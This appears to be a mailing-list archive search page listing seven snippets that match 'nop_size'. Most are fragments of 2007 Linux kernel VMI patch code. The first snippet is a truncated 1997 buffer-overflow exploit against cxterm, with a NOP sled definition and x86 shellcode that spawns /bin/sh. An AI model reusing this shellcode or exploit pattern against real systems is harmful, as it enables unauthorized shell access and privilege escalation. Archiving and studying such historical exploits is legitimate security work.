search for: nop_size

Displaying 7 results from an estimated 7 matches for "nop_size".

1997 May 14
4
cxterm buffer overrun
....2. Ming Zhang mzhang@softcom.net */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #define CXTERM_PATH "/usr/X11R6/bin/cxterm" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__(&...
2007 Apr 18
7
[RFC, PATCH 5/24] i386 Vmi code patching
...11 : cur; + for (i = 0; i < cur; i++) + *c++ = MNEM_OPSIZE; + *c++ = MNEM_NOP; + } + + for (c = start; c < end; c+= 8) + asm volatile ("clflush %0" ::"m" (c)); +} + +static void scan_annotations(void *start, void *end) +{ + struct vmi_annotation *a; + unsigned long nop_size = 0, translation_size = 0, extra_native_bytes = 0; + unsigned long flags; + + local_irq_save(flags); + for (a = start; (void *)a < end; a++) { + BUG_ON(a->vmi_call >= NUM_VMI_CALLS); + translation_size += a->translation_size; + if (a->nop_size > 0) + nop_size += a->nop_si...
2007 Apr 18
7
[RFC, PATCH 5/24] i386 Vmi code patching
...11 : cur; + for (i = 0; i < cur; i++) + *c++ = MNEM_OPSIZE; + *c++ = MNEM_NOP; + } + + for (c = start; c < end; c+= 8) + asm volatile ("clflush %0" ::"m" (c)); +} + +static void scan_annotations(void *start, void *end) +{ + struct vmi_annotation *a; + unsigned long nop_size = 0, translation_size = 0, extra_native_bytes = 0; + unsigned long flags; + + local_irq_save(flags); + for (a = start; (void *)a < end; a++) { + BUG_ON(a->vmi_call >= NUM_VMI_CALLS); + translation_size += a->translation_size; + if (a->nop_size > 0) + nop_size += a->nop_si...
2007 Apr 18
1
[RFC, PATCH 21/24] i386 Vmi proc node
...[] = { + VMI_CALLS +}; +#undef VDEF + +static void print_annotation(struct seq_file *m, struct vmi_annotation *a) +{ + seq_printf(m, "%s %p %d %p %d %d\n", + vmi_call_name[a->vmi_call], a->nativeEIP, a->native_size, + a->translationEIP, a->translation_size, a->nop_size); +} + +static int proc_vmi_annotations_show(struct seq_file *m, void *v) +{ + struct vmi_annotation *start = __vmi_annotation; + struct vmi_annotation *end = __vmi_annotation_end; + struct vmi_annotation *a; + + for (a = start; a < end; a++) { + print_annotation(m, a); + } + return 0; +} +...
2007 Apr 18
1
[RFC, PATCH 21/24] i386 Vmi proc node
...[] = { + VMI_CALLS +}; +#undef VDEF + +static void print_annotation(struct seq_file *m, struct vmi_annotation *a) +{ + seq_printf(m, "%s %p %d %p %d %d\n", + vmi_call_name[a->vmi_call], a->nativeEIP, a->native_size, + a->translationEIP, a->translation_size, a->nop_size); +} + +static int proc_vmi_annotations_show(struct seq_file *m, void *v) +{ + struct vmi_annotation *start = __vmi_annotation; + struct vmi_annotation *end = __vmi_annotation_end; + struct vmi_annotation *a; + + for (a = start; a < end; a++) { + print_annotation(m, a); + } + return 0; +} +...
2007 Apr 18
3
[RFC, PATCH 4/24] i386 Vmi inline implementation
...m volatile ( "" : output :: clobber ); \ +} while (0) + +#define VMI_NO_INPUT +#define VMI_NO_OUTPUT + +struct vmi_annotation { + unsigned long vmi_call; + unsigned char *nativeEIP; + unsigned char *translationEIP; + unsigned char native_size; + unsigned char translation_size; + char nop_size; + unsigned char pad; +}; + +extern VMI_UINT8 hypervisor_found; +extern VMI_UINT8 hypervisor_timer_found; +extern struct vmi_annotation __vmi_annotation[], __vmi_annotation_end[]; + +/* VMI function prototypes */ +#define VMICALL extern __attribute__((regparm(3))) + +VMICALL void VMI_SetPxE(VMI_U...
2007 Apr 18
3
[RFC, PATCH 4/24] i386 Vmi inline implementation
...m volatile ( "" : output :: clobber ); \ +} while (0) + +#define VMI_NO_INPUT +#define VMI_NO_OUTPUT + +struct vmi_annotation { + unsigned long vmi_call; + unsigned char *nativeEIP; + unsigned char *translationEIP; + unsigned char native_size; + unsigned char translation_size; + char nop_size; + unsigned char pad; +}; + +extern VMI_UINT8 hypervisor_found; +extern VMI_UINT8 hypervisor_timer_found; +extern struct vmi_annotation __vmi_annotation[], __vmi_annotation_end[]; + +/* VMI function prototypes */ +#define VMICALL extern __attribute__((regparm(3))) + +VMICALL void VMI_SetPxE(VMI_U...